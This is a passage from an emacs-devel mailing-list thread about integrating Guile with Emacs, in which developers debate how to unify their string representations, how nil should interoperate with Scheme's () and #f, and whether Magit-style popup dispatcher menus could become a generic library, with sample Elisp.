tight interaction is desirable for an extension language after all.

In our case, LilyPond has a lot of head-scratching to do in order to
arrive at a state where GUILE and C++ strings can be passed through the
system reasonably efficient since LilyPond _is_ designed to tightly
interact with GUILE.  The basic expediency mechanism is to tell GUILE
"this is all latin-1" which it will then keep in UCS-8.  Whenever there
is an interest in Unicode string processing, we need to reencode.
LilyPond itself is actually talking UTF-8 to its users.  This kind of
"we work with UTF-8, but consider it to be UCS-8 instead since we cannot
or do not want to afford the price you demand for treating it as UTF-8"
is not really a satisfactory solution, and I expect this to become an
issue in other applications.

So I pretty much expect that we'll see GUILE migrating to an UTF-8-based
string representation eventually, with all the head-scratching regarding
indexing and rewriting strings (aset anybody?) that Emacs has seen.
In case that happens, matching Emacs strings would make a lot of sense.

Admittedly, that is more a problem of GUILE than Emacs.

-- 
David Kastrup

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

David Kastrup <dak@gnu.org> writes:

> The GUILE bridge is there.  Robin Templeton's status of the port is
> that it is mostly complete, with strings/buffers being the most
> notable part obliterating acceptable performance via thick glue layers
> between Emacs' and GUILE's different implementations of similar
> concepts.
>
> Removing the thick glue layer requires that Emacs and GUILE strings
> (and Emacs buffers and GUILE whatever) become exchangeable and offer
> the same operations without impacting performance for either.

Guile supports extra/foreign types just fine (so-called SMOBs), which is
what strings and buffers are in Guile-Emacs so far, and if I understood
Robin right then the intention is to keep them so for a while, probably
even in the first "release" of Guile-Emacs.

SMOB types don't cause any extra memory usage or data access time AFAIK
so that probably works fine, the only problem being that Scheme and
Elisp strings are two different data types.  You get all of the other
benefits on the meanwhile which don't involve the mixing of Scheme and
Elisp code.

Taylan

Re: Emacs Lisp's future

[Stefan Monnier]

> I don't think that having to retain a separate implementation of strings
> in Emacs makes much sense in the course of integrating GUILE and Emacs.

There's integration and integration.
Currently Guile-Emacs is about replacing the GC and byte-code
interpreter of Emacs with Guile's.  Most of the actual primitives used
are Emacs's own, AFAIK (with some exceptions, such as the things that
touch cons cells and numbers, IIUC).

I'm not really interested in spending time improving Guile.  The goal of
Guile-Emacs (from Emacs's point of view) is to use some pre-existing VM
so as to avoid spending time on Emacs's own.
So if we can't make use of Guile's strings because they're not good
enough, then we won't use them.

Of course, maybe we'll have to manipulate Guile's strings in order to
use Guile's FFI or some Scheme library.  If/when that becomes
a performance problem, we'll see what needs to be done about that.
Until then:

   it's not like this is a problem we need to fix now (if ever).


-- Stefan

Re: Emacs Lisp's future

[Robin Templeton]

David Kastrup <dak@gnu.org> writes:

> The GUILE bridge is there.  Robin Templeton's status of the port is that
> it is mostly complete, with strings/buffers being the most notable part
> obliterating acceptable performance via thick glue layers between Emacs'
> and GUILE's different implementations of similar concepts.

Unifying the Elisp and Scheme string types is important, but more of a
long-term goal to allow convenient and efficient interaction between the
languages. Guile-Emacs's performance problems are mostly unrelated to
string handling. Elisp string representation is unchanged from standard
Emacs, except for trivial changes to make them an application-defined
Guile type.

-- 
Inteligenta persono lernas la lingvon Esperanton rapide kaj facile.
Esperanto estas moderna, kultura lingvo por la mondo. Simpla, fleksebla,
belsona, Esperanto estas la praktika solvo de la problemo de universala
interkompreno. Lernu la interlingvon Esperanton!

Re: Emacs Lisp's future

[David Kastrup]

Robin Templeton <robin@terpri.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> The GUILE bridge is there.  Robin Templeton's status of the port is that
>> it is mostly complete, with strings/buffers being the most notable part
>> obliterating acceptable performance via thick glue layers between Emacs'
>> and GUILE's different implementations of similar concepts.
>
> Unifying the Elisp and Scheme string types is important, but more of a
> long-term goal to allow convenient and efficient interaction between the
> languages. Guile-Emacs's performance problems are mostly unrelated to
> string handling. Elisp string representation is unchanged from standard
> Emacs, except for trivial changes to make them an application-defined
> Guile type.

Ok, this is different _currently_ from the situation we have in LilyPond
where string interaction between C++, LilyPond, and GUILE was already
ubiquitous when GUILE 2.0 started supporting Unicode in its strings.

Emacs has strategies and conventions for passing strings between C
(literals, but also I/O and stuff) and Elisp reasonably cheaply whenever
cheap is an option.  When it is running on a GUILE VM, I don't see that
it will get by without addressing similar questions regarding the GUILE
domain.

Though to be honest: the typical Emacs programmer is not usually exposed
to the details of byte code in any way either.

-- 
David Kastrup

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    So if we can't make use of Guile's strings because they're not good
    enough, then we won't use them.

Unfortunately, that would put a major crimp in interoperability between
Emacs Lisp programs and Scheme programs.

Can the Guile developers work on making Guile strings flexible
enough that Emacs can use them?  So that they can do the jobs
Emacs Lisp strings do?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stefan Monnier]

> Unfortunately, that would put a major crimp in interoperability between
> Emacs Lisp programs and Scheme programs.

Such interoperability would be nice to have, indeed, but is not
absolutely necessary.  In any case this is a problem that Emacs can't
solve, so if you want to discuss it, please do that on Guile's
mailing-list.


        Stefan

Re: Emacs Lisp's future

[Phillip Lord]

Christopher Allan Webber <cwebber@dustycloud.org> writes:
>> Instead of adding Magit as is, I would rather add certain components of
>> Magit to Emacs itself (after sufficiently abstracting them) and move
>> certain functionality into libraries that are already part of Emacs.
>
> That would be great.  There are some features of magit that would be
> really nice to have available for all packages by being bundled with
> emacs.  The popup menu system is pretty much the best, for example.

It is really nice. There is a similar solution in org-mode (the export
dispatcher) and even in auctex (which is simpler but generally works out
the right thing to do for you).

All of them are text, all of the fast and all of them easy to use (but
slightly different). Having a generic library that could be reused by
different packages would be great.

Phil

Re: Emacs Lisp's future

[K. Handa]

In article <837g0ptnlj.fsf@gnu.org>, Eli Zaretskii <eliz@gnu.org> writes:

> > No, you don't.  There's plenty of private space for those purposes
> > (unless you know of private character sets that use more than two
> > whole planes?)

> I take it that you have studied the charsets for which we use
> codepoints above 0x10FFFF, and concluded that they all fit in the
> 2*64K+6.4K PUA space provided by Unicode?  We have several quite large
> character sets which need that (grep mule-conf.el for ":unify-map" to
> see the list, and see etc/charsets/ for the map files).  I'm not sure
> the PUA space is large enough, but I didn't sum all the numbers.

> In any case, the question why we don't use PUA for this is best
> addressed to Handa-san (CC'ed).

The biggest character set is GB18030 which includes the
whole Unicode characters (including PUA) plus several its
own PUAs.  So, the Unicode character code points are simply
not enough to support the full GB18030.

In addition, almost all 2-byte CJK character sets contain
their own PUAs.  As Emacs doesn't unify characters in those
PUAs with Unicode' PUA characters, we can handle multiple
those character sets at the same time.

---
Kenichi Handa
handa@gnu.org

Re: Emacs Lisp's future

[Stefan Monnier]

>>> Instead of adding Magit as is, I would rather add certain components of
>>> Magit to Emacs itself (after sufficiently abstracting them) and move
>>> certain functionality into libraries that are already part of Emacs.
>> That would be great.  There are some features of magit that would be
>> really nice to have available for all packages by being bundled with
>> emacs.  The popup menu system is pretty much the best, for example.
> It is really nice. There is a similar solution in org-mode (the export
> dispatcher) and even in auctex (which is simpler but generally works out
> the right thing to do for you).

FWIW, I don't use any of those things, so I don't really know what kind
of "popup-menu" you're talking about.


        Stefan

Re: Emacs Lisp's future

[Phillip Lord]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

>>>> Instead of adding Magit as is, I would rather add certain components of
>>>> Magit to Emacs itself (after sufficiently abstracting them) and move
>>>> certain functionality into libraries that are already part of Emacs.
>>> That would be great.  There are some features of magit that would be
>>> really nice to have available for all packages by being bundled with
>>> emacs.  The popup menu system is pretty much the best, for example.
>> It is really nice. There is a similar solution in org-mode (the export
>> dispatcher) and even in auctex (which is simpler but generally works out
>> the right thing to do for you).
>
> FWIW, I don't use any of those things, so I don't really know what kind
> of "popup-menu" you're talking about.


It's not a menu at all, but a buffer. Saying in magit, I hit "b", then I
get a buffer "popping up" which looks like this....


Switches
 -t: Set upstream configuration (--track)         -m: Merged to HEAD (--merged)
 -M: Merged to master (--merged=master)           -n: Not merged to HEAD (--no-merged)
 -N: Not merged to master (--no-merged=master)
Args
 =c: Contains (--contains=)
 =m: Merged (--merged=)
 =n: Not merged (--no-merged=)

Actions
 v: Branch manager    b: Checkout          c: Create            r: Rename
 k: Delete


If I type "-t" (to set the -t option) then "--track" changes colour to
pink, so I know that I have selected it. When I finally hit "c", git
will be run to create a new branch with "--track" selected.


Org-mode works similarly; I hit C-cC-e (org-export-dispatch) and I get 


[C-b] Body only:    Off           [C-v] Visible only:     Off
[C-s] Export scope: Buffer        [C-f] Force publishing: Off
[C-a] Async export: Off


[c] Export to iCalendar
    [f] Current file              [a] All agenda files
    [c] Combine all agenda files  

[h] Export to HTML
    [H] As HTML buffer            [h] As HTML file
    [o] As HTML file and open     

[l] Export to LaTeX
    [L] As LaTeX buffer           [l] As LaTeX file
    [p] As PDF file               [o] As PDF file and open

[t] Export to Plain Text
    [A] As ASCII buffer           [a] As ASCII file
    [L] As Latin1 buffer          [l] As Latin1 file
    [U] As UTF-8 buffer           [u] As UTF-8 file

[P] Publish
    [f] Current file              [p] Current project
    [x] Choose project            [a] All projects


[&] Export stack                  [#] Insert template
[q] Exit


At the top we have options (although these don't equate to command line
options as with magit). All the keys like [c], [h] but not f or H are
highlighted. If I hit h, then the suboptions for Export to HTML light
up. 

So C-xCehh gives me "Export as HTML file", C-x-C-eho means and open in a
browser. I don't have to remember the options, because the menu guides
me through the process.

Auctex uses a normal complete on C-cC-c except that the default
"Compile" or "View" is almost always correct.

Phil

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

      In any case this is a problem that Emacs can't
    solve, so if you want to discuss it, please do that on Guile's
    mailing-list.

Guile developers need to talk with Emacs developers to find
a good solution.  I posted here since the Guile developers seem
to be here along with the Emacs developers.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Thorsten Jolitz]

phillip.lord@newcastle.ac.uk (Phillip Lord) writes:

> Christopher Allan Webber <cwebber@dustycloud.org> writes:
>>> Instead of adding Magit as is, I would rather add certain components of
>>> Magit to Emacs itself (after sufficiently abstracting them) and move
>>> certain functionality into libraries that are already part of Emacs.
>>
>> That would be great.  There are some features of magit that would be
>> really nice to have available for all packages by being bundled with
>> emacs.  The popup menu system is pretty much the best, for example.
>
> It is really nice. There is a similar solution in org-mode (the export
> dispatcher) and even in auctex (which is simpler but generally works out
> the right thing to do for you).
>
> All of them are text, all of the fast and all of them easy to use (but
> slightly different). Having a generic library that could be reused by
> different packages would be great.

I like these 'dispatcher popup-menus' too, they are a very nice UI
feature in cases there are a lot of choices for the user. 

I once tried to reuse them in a project, but there is generally no
separation of UI and logic, its all mixed up, so starting from scratch
seemed easier than reusing what is already there.

How would a generic UI generator look like in this case? Wouldn't it be
very complicated to prompt the user for all the dispatcher-menu-UI
properties? Where to put what on the dispatcher UI?

May be an Org table would be a good input format:

#+BEGIN_ORG
| (key . fun) |             |             |
|-------------+-------------+-------------|
|             |             |             |
| (key . fun) | (key . fun) | (key . fun) |
| (key . fun) | (key . fun) |             |
|             |             |             |
| (key . fun) | (key . fun) |             |
|-------------+-------------+-------------|
|             | (key . fun) |             |
#+END_ORG


so that the user specifies the dispatcher-grid as an Org table, with hlines
and key/function pairs, and a generic dispatcher-ui-generator function
or macro then gets the nested-list representation of that Org table as
argument:

#+BEGIN_SRC emacs-lisp :results output raw
(org-table-map-tables
 (lambda () (print (org-table-to-lisp))))
#+END_SRC

#+results:
(("(key . fun)" "" "") hline ("" "" "") ("(key . fun)" "(key . fun)"
"(key . fun)") ("(key . fun)" "(key . fun)" "") ("" "" "") ("(key
. fun)" "(key . fun)" "") hline ("" "(key . fun)" ""))


or something like this, using the org-parser (untested):

#+BEGIN_SRC emacs-lisp :results pp
(org-element-map (org-element-parse-buffer) '(table table-row) 'identity)
#+END_SRC


-- 
cheers,
Thorsten

Re: Emacs Lisp's future

[Phillip Lord]

Thorsten Jolitz <tjolitz@gmail.com> writes:

> phillip.lord@newcastle.ac.uk (Phillip Lord) writes:
>> It is really nice. There is a similar solution in org-mode (the export
>> dispatcher) and even in auctex (which is simpler but generally works out
>> the right thing to do for you).
>>
>> All of them are text, all of the fast and all of them easy to use (but
>> slightly different). Having a generic library that could be reused by
>> different packages would be great.
>
> I like these 'dispatcher popup-menus' too, they are a very nice UI
> feature in cases there are a lot of choices for the user. 
>
> I once tried to reuse them in a project, but there is generally no
> separation of UI and logic, its all mixed up, so starting from scratch
> seemed easier than reusing what is already there.

Yes, I would agree, although I would say that starting from scratch but
with the agreement of the org and magit developers to replace their
GUIs.


> How would a generic UI generator look like in this case? Wouldn't it be
> very complicated to prompt the user for all the dispatcher-menu-UI
> properties? Where to put what on the dispatcher UI?

A tree of property lists would be my way to go. Magit is, I think,
something like this at the moment.


> May be an Org table would be a good input format:
>
>
> #+BEGIN_ORG
> | (key . fun) |             |             |
> |-------------+-------------+-------------|
> |             |             |             |
> | (key . fun) | (key . fun) | (key . fun) |
> | (key . fun) | (key . fun) |             |
> |             |             |             |
> | (key . fun) | (key . fun) |             |
> |-------------+-------------+-------------|
> |             | (key . fun) |             |
> #+END_ORG
>
>
>
> so that the user specifies the dispatcher-grid as an Org table, with hlines
> and key/function pairs, and a generic dispatcher-ui-generator function
> or macro then gets the nested-list representation of that Org table as
> argument:
>
>
> #+BEGIN_SRC emacs-lisp :results output raw
> (org-table-map-tables
>  (lambda () (print (org-table-to-lisp))))
> #+END_SRC

That would be a good addition, I think.

Phil

Re: Emacs Lisp's future

[Nic Ferrier]

Thorsten Jolitz <tjolitz@gmail.com> writes:

> phillip.lord@newcastle.ac.uk (Phillip Lord) writes:
> May be an Org table would be a good input format:
>
> #+BEGIN_ORG
> | (key . fun) |             |             |
> |-------------+-------------+-------------|
> |             |             |             |
> | (key . fun) | (key . fun) | (key . fun) |
> | (key . fun) | (key . fun) |             |
> |             |             |             |
> | (key . fun) | (key . fun) |             |
> |-------------+-------------+-------------|
> |             | (key . fun) |             |
> #+END_ORG


You should totally do this. I'd love to play with it.


Nic

Re: Emacs Lisp's future

[Nicolas Richard]

Thorsten Jolitz <tjolitz@gmail.com> writes:
> How would a generic UI generator look like in this case? Wouldn't it be
> very complicated to prompt the user for all the dispatcher-menu-UI
> properties? Where to put what on the dispatcher UI?

Look into the packages "makey" and "discover". The former was factored
out of magit and discover was built on top of that.

See: http://www.masteringemacs.org/articles/2013/12/21/discoverel-discover-emacs-context-menus/

I don't know how "makey" and the corresponding magit code relate
nowadays. I hope they cooperate, but I have no idea. Mickey Petersen
(cc'ed) might tell us more about the current state.

-- 
Nicolas Richard

Re: Emacs Lisp's future

[Thorsten Jolitz]

Nicolas Richard <theonewiththeevillook@yahoo.fr> writes:

> Thorsten Jolitz <tjolitz@gmail.com> writes:
>> How would a generic UI generator look like in this case? Wouldn't it be
>> very complicated to prompt the user for all the dispatcher-menu-UI
>> properties? Where to put what on the dispatcher UI?
>
> Look into the packages "makey" and "discover". The former was factored
> out of magit and discover was built on top of that.
>
> See:
> http://www.masteringemacs.org/articles/2013/12/21/discoverel-discover-emacs-context-menus/
>
> I don't know how "makey" and the corresponding magit code relate
> nowadays. I hope they cooperate, but I have no idea. Mickey Petersen
> (cc'ed) might tell us more about the current state.

Never heard of these packages, so I just tried to use discover/makey
with dired for the first time - wow!  

Having this kind of UI for all of Emacs would be marvellous, because
being unable to remember all those keybindings and being too lazy to
look them up is probably the most limiting factor when using Emacs. With
this kind of UI everywhere, missing long-term memory and natural
lazyness could be beaten ...

-- 
cheers,
Thorsten

RE: Emacs Lisp's future

[Drew Adams]

> > http://www.masteringemacs.org/articles/2013/12/21/discoverel-
> > discover-emacs-context-menus/
> 
> Never heard of these packages, so I just tried to use discover/makey
> with dired for the first time - wow!
> 
> Having this kind of UI for all of Emacs would be marvellous, because
> being unable to remember all those keybindings and being too lazy to
> look them up is probably the most limiting factor when using Emacs.
> With this kind of UI everywhere, missing long-term memory and natural
> lazyness could be beaten ...

Yes, this kind of thing is very helpful.

FWIW - Looks like (a subset of) Icicles key completion, to me.  It
is a subset because it is done partially: only for some particular
modes or key prefixes (e.g. Dired mode, `C-x r' prefix).  Icicles
key completion works for all keys, and even for menu-bar bindings.

http://www.emacswiki.org/EmacsNewbieWithIcicles#KeyHelpAndCompletion

http://www.emacswiki.org/Icicles_-_Key_Completion

Re: Emacs Lisp's future

[Thorsten Jolitz]

Nic Ferrier <nferrier@ferrier.me.uk> writes:

> Thorsten Jolitz <tjolitz@gmail.com> writes:
>
>> phillip.lord@newcastle.ac.uk (Phillip Lord) writes:
>> May be an Org table would be a good input format:
>>
>> #+BEGIN_ORG
>> | (key . fun) |             |             |
>> |-------------+-------------+-------------|
>> |             |             |             |
>> | (key . fun) | (key . fun) | (key . fun) |
>> | (key . fun) | (key . fun) |             |
>> |             |             |             |
>> | (key . fun) | (key . fun) |             |
>> |-------------+-------------+-------------|
>> |             | (key . fun) |             |
>> #+END_ORG
>
>
> You should totally do this. I'd love to play with it.

'discover-context-menus' look like this:

#+BEGIN_SRC emacs-lisp
(dired
 (description "DIRectory EDitor")
 (actions
  ("Navigation"
   ("DEL" "unmark backward" dired-unmark-backward)
   ("RET" "find file" dired-find-file)
   ("SPC" "next line" dired-next-line)
   ("<" "prev dirline" dired-prev-dirline)
   (">" "next dirline" dired-next-dirline)
   ("^" "up directory" dired-up-directory)
   ("j" "goto file" dired-goto-file)
   ("i" "maybe insert subdir" dired-maybe-insert-subdir)
   ("n" "next line" dired-next-line)
   ("p" "previous line" dired-previous-line)
   ("v" "view file" dired-view-file)
   ("w" "copy filename as kill" dired-copy-filename-as-kill)) ...))
#+END_SRC

and it could easily be derived form an org table:


| Navigation |  |
| (DEL . dired-find-file) |    (RET . dired-find-file)|




-- 
cheers,
Thorsten

Re: Emacs Lisp's future

[Thorsten Jolitz]

Thorsten Jolitz <tjolitz@gmail.com> writes:

> Nic Ferrier <nferrier@ferrier.me.uk> writes:
>
>> Thorsten Jolitz <tjolitz@gmail.com> writes:
>>
>>> phillip.lord@newcastle.ac.uk (Phillip Lord) writes:
>>> May be an Org table would be a good input format:
>>>
>>> #+BEGIN_ORG
>>> | (key . fun) |             |             |
>>> |-------------+-------------+-------------|
>>> |             |             |             |
>>> | (key . fun) | (key . fun) | (key . fun) |
>>> | (key . fun) | (key . fun) |             |
>>> |             |             |             |
>>> | (key . fun) | (key . fun) |             |
>>> |-------------+-------------+-------------|
>>> |             | (key . fun) |             |
>>> #+END_ORG
>>
>>
>> You should totally do this. I'd love to play with it.
>
> 'discover-context-menus' look like this:
>
> #+BEGIN_SRC emacs-lisp
> (dired
>  (description "DIRectory EDitor")
>  (actions
>   ("Navigation"
>    ("DEL" "unmark backward" dired-unmark-backward)
>    ("RET" "find file" dired-find-file)
>    ("SPC" "next line" dired-next-line)
>    ("<" "prev dirline" dired-prev-dirline)
>    (">" "next dirline" dired-next-dirline)
>    ("^" "up directory" dired-up-directory)
>    ("j" "goto file" dired-goto-file)
>    ("i" "maybe insert subdir" dired-maybe-insert-subdir)
>    ("n" "next line" dired-next-line)
>    ("p" "previous line" dired-previous-line)
>    ("v" "view file" dired-view-file)
>    ("w" "copy filename as kill" dired-copy-filename-as-kill)) ...))
> #+END_SRC
>
> and it could easily be derived form an org table:
>
>
> | Navigation |  |
> | (DEL . dired-find-file) |    (RET . dired-find-file)|

[Ups, sorry ...  did C-c C-c in the table, but wasn't in Org-mode but in
message-mode, so sent the message accidentally]

Calling 'org-table-to-lisp on this table

| Navigation              |                         |
| DEL dired-find-file     | RET dired-find-file     |

 yields:

(("Navigation" "") ("DEL dired-find-file" "RET dired-find-file"))

Using that as arg for this (imperfect) mapping function

#+BEGIN_SRC emacs-lisp
(defun tj/org-tbl-to-context-menu (org-tbl-as-lisp)
   (mapcar
   (lambda (--row)
     (mapcar
      (lambda (--cell)
	(let ((cell-split (split-string --cell " " t)))
	  (if (eq (length cell-split) 2)
	      (list (car cell-split)
		    (mapconcat
		     'identity
		     (split-string
		      (cadr cell-split) "\\(?:dired\\)?-" t)
		     " ")
		    (intern (cadr cell-split)))
	    cell-split)))
      --row))
   org-tbl-as-lisp))
#+END_SRC

yields something (at least somehow) similar to 'discover-context-menus':

#+BEGIN_SRC emacs-lisp
((("Navigation") nil) (("DEL" "find file" dired-find-file) ("RET" "find
file" dired-find-file)))
#+END_SRC

but to make it useful, makey.el would need to consider empty tbl-cells
as well as empty tbl-rows as well as hlines when drawing the UI grid.

-- 
cheers,
Thorsten

Re: Emacs Lisp's future

[Mark H Weaver]

Richard Stallman <rms@gnu.org> writes:
>     So if we can't make use of Guile's strings because they're not good
>     enough, then we won't use them.
>
> Unfortunately, that would put a major crimp in interoperability between
> Emacs Lisp programs and Scheme programs.
>
> Can the Guile developers work on making Guile strings flexible
> enough that Emacs can use them?  So that they can do the jobs
> Emacs Lisp strings do?

I would like to change Guile's internal string representation to use a
generalization of UTF-8, as used by Emacs.  There are two sticking
points that require more thought, however:

* I'm concerned that there are security implications to supporting the
  "raw byte" code points.  I can expand on this more if you'd like.

  However, I think this will not be a problem, because the
  string<->bytevector conversion procedures could support two modes of
  operation: one mode that supports these raw bytes, for use by emacs
  and maybe some other purposes (e.g. dealing with POSIX file names),
  and another mode that refuses to accept or produce invalid UTF-8,
  which would be used by programs where security is a concern.  I'm
  inclined to make the standard Scheme procedures use the strict mode
  by default.

* I'm not sure that Guile strings should include property lists.  One
  can reasonably assume that competent Elisp programmers will keep in
  mind that Elisp strings are more than just characters, but we cannot
  expect that of Scheme programmers, and they've never had any tools to
  deal with it in any case.  Emacs lisp includes procedures such as
  'substring-no-properties', but Scheme has never had anything like
  that.

Supporting property lists in Scheme raises difficult questions
such as:

 * What should the Scheme procedures 'string=?' and 'equal?' do when
   comparing two strings with the equal character sequences but
   unequal property lists?

 * Should Scheme procedures such as 'substring', 'string-append',
   'string-upcase', etc, propagate the associated property list
   data?

 * Are there security implications to carrying around and possibly
   propagating (via Scheme's "substring") extra information that is
   effectively invisible to all procedures that have ever been
   available in Scheme?

 * What should Scheme's 'write' do when applied to a string that
   includes a property list?  ('write' is analogous to 'prin1').

Security concerns are more important for Guile than for Emacs, because
Guile is already being used to implement network programs such as web
servers, and generally aims to support a much wider range of
applications.

At the very least, we can plan to eventually make Emacs strings
representable as Guile strings plus property lists.  Going further
will require more consideration, I think.

* * *

While we're on the subject of interoperability between Emacs Lisp and
Scheme programs, I'm concerned about nil.  Modern Scheme requires that
() and #f are distinct objects, and that () is treated as true by 'if'.
This has been the case for long enough now that it's not uncommon for
modern Scheme code to depend on these facts.  Of course, Elisp code
depends on the end-of-list and false values being the same object.

The way we're coping with this is by having three distinct objects in
Guile: (), #f, and #nil, where both () and #nil are considered
end-of-list markers by 'null?', both #f and #nil are considered false by
Scheme 'if', and all three are seen as null by Elisp.

First of all, clearly this is not quite correct.  Scheme code might
assume that if a value is false, it cannot be the empty list, or vice
versa, but the hope is that it will mostly work in practice.

However, I see a problem that will become more common if Scheme and
Elisp code become more intertwined.  The problem occurs when Elisp code
sees that a value 'x' is null and then copies it somewhere, where the
original 'x' was conceptually an end-of-list, but the copy is
conceptually a boolean false (or vice versa).

(I'm aware that for some Elisp values, it may not even be possible to
say it's "conceptually an end-of-list" or "conceptually a boolean
false", but please bear with me).

The problem comes when 'x' originated in Scheme code as (), is later
copied by Elisp code into something that's conceptually a boolean, and
then that copy is inspected by Scheme code.  The intent was that the
copied boolean would be false, but the Scheme code will see () and treat
it as true.

What do you think?  Do I worry too much? :)

      Mark

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> * I'm not sure that Guile strings should include property lists.

I already mentioned that string ports could be turned into the basic
underlying data representation for Emacs buffers.  That's one case where
it is quite obvious that a string port alone is not a sufficient
representation.

> One can reasonably assume that competent Elisp programmers will keep
> in mind that Elisp strings are more than just characters, but we
> cannot expect that of Scheme programmers, and they've never had any
> tools to deal with it in any case.  Emacs lisp includes procedures
> such as 'substring-no-properties', but Scheme has never had anything
> like that.
>
> Supporting property lists in Scheme raises difficult questions
> such as:
>
>  * What should the Scheme procedures 'string=?' and 'equal?' do when
>    comparing two strings with the equal character sequences but
>    unequal property lists?
>
>  * Should Scheme procedures such as 'substring', 'string-append',
>    'string-upcase', etc, propagate the associated property list
>    data?
>
>  * Are there security implications to carrying around and possibly
>    propagating (via Scheme's "substring") extra information that is
>    effectively invisible to all procedures that have ever been
>    available in Scheme?
>
>  * What should Scheme's 'write' do when applied to a string that
>    includes a property list?  ('write' is analogous to 'prin1').

I should think that GOOPS, the basis for GUILE's builtin object
hierarchy, basically provides all the necessary mechanisms for
transparently making "richer" string variants maintain their additional
data when being manipulated by standard operations.

So while Emacs development would likely benefit from the willingness to
refactor some string internals in a different manner, ultimately the
work of Emacs data implementors should not require tight interaction
with GUILE development.

> While we're on the subject of interoperability between Emacs Lisp and
> Scheme programs, I'm concerned about nil.

[...]

> The problem comes when 'x' originated in Scheme code as (), is later
> copied by Elisp code into something that's conceptually a boolean, and
> then that copy is inspected by Scheme code.  The intent was that the
> copied boolean would be false, but the Scheme code will see () and treat
> it as true.
>
> What do you think?  Do I worry too much? :)

No.  It will be the main recurring interoperation headache.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Mark H Weaver writes:

 > I would like to change Guile's internal string representation to use a
 > generalization of UTF-8, as used by Emacs.  There are two sticking
 > points that require more thought, however:
 > 
 > * I'm concerned that there are security implications to supporting
 >   the "raw byte" code points.

There are greater security implications to using the full repertoire
of Unicode (so-called confusables for a start).

 >   However, I think this will not be a problem, because the
 >   string<->bytevector conversion procedures could support two modes of
 >   operation: one mode that supports these raw bytes, for use by emacs
 >   and maybe some other purposes (e.g. dealing with POSIX file names),
 >   and another mode that refuses to accept or produce invalid UTF-8,

I'm not sure what you mean by "mode", but this behavior should be
decided for each stream.  IMO Python does this correctly (although its
internal representation is fixed-width, not UTF-8).  Specifically, raw
bytes in I/O streams are treated as errors, and when encountered an
error handler (which is specified stream-by-stream) decides how to
treat them.

Besides the in band "special character" representation, 'strict'
(raise error) must be provided.

Other handlers provided by Python include 'ignore' (drop from the
stream), 'replace' (with a constant replacement character),
'backslashreplace' (replace with a hexadecimal representation such as
"\x1F4A9") and 'xmlreplace' (replace with a character entity) handlers
are provided.

 > Supporting property lists in Scheme raises difficult questions
 > such as:

Difficult, really?

 >  * What should the Scheme procedures 'string=?' and 'equal?' do when
 >    comparing two strings with the equal character sequences but
 >    unequal property lists?

Ignore the property list.

 >  * Should Scheme procedures such as 'substring', 'string-append',
 >    'string-upcase', etc, propagate the associated property list
 >    data?

Ignore the property list.

 >  * Are there security implications to carrying around and possibly
 >    propagating (via Scheme's "substring") extra information that is
 >    effectively invisible to all procedures that have ever been
 >    available in Scheme?

Ignore the property list.

 >  * What should Scheme's 'write' do when applied to a string that
 >    includes a property list?  ('write' is analogous to 'prin1').

Ignore the property list.

There, that wasn't hard, was it?

Scheme itself really needs only to provide a setter and a getter for
the property list, and leave everything else up to Emacs (at first,
anyway).  If you're really worried about the security implications,
provide a interpreter instance switch at invocation time (or even
compile time) so that feature is only available in invocations that
explicitly request it.  This would default to on for Emacs processes,
off for "vanilla" Guile, and other applications that embed special
configurations of Guile can make their own choice.

 > Security concerns are more important for Guile than for Emacs, because
 > Guile is already being used to implement network programs such as web
 > servers, and generally aims to support a much wider range of
 > applications.

Obviously, you don't know Emacs very well.  Emacs is the Swiss Army
knife of the software world.  It is an operating system, a system
library, an application development platform and an application.  (We
also walk dogs.)

 > What do you think?  Do I worry too much [about nothing]? :)

Listen to your Uncle David on this one.  You should treat every
instance of nil as a biohazard.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

>  > What do you think?  Do I worry too much [about nothing]? :)
>
> Listen to your Uncle David on this one.  You should treat every
> instance of nil as a biohazard.

That would make about as much sense as treating every bacterium as a
biohazard.  The nil problem is going to be defining the relation between
Elisp and Scheme programming like pointers define the relation between C
and algorithms.

The Fortran language is defined in a manner that when you use aliasing,
anything can happen.

The C language is defined in a manner that when you don't use aliasing,
nothing can happen.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > like pointers define the relation between C and algorithms.

Did somebody mention biohazards?

It seems to me that the analogy between passing Lisp nil to Scheme and
passing C pointers to anything is quite good at a high level.  Every
instance must be check up down and sideways for possible hazards.

Re: Emacs Lisp's future

[Mark H Weaver]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

>  > What do you think?  Do I worry too much [about nothing]? :)
>
> Listen to your Uncle David on this one.  You should treat every
> instance of nil as a biohazard.

If you had actually read what I wrote, you'd know that in the case I
outlined, there is no instance of nil at all.

      Mark

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Mark H Weaver writes:

 > in the case I outlined, there is no instance of nil at all.

If you say so.

Re: Emacs Lisp's future

[Mark H Weaver]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Mark H Weaver writes:
>
>  > in the case I outlined, there is no instance of nil at all.
>
> If you say so.

Am I mistaken?  Where is the instance of nil?

    Mark

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
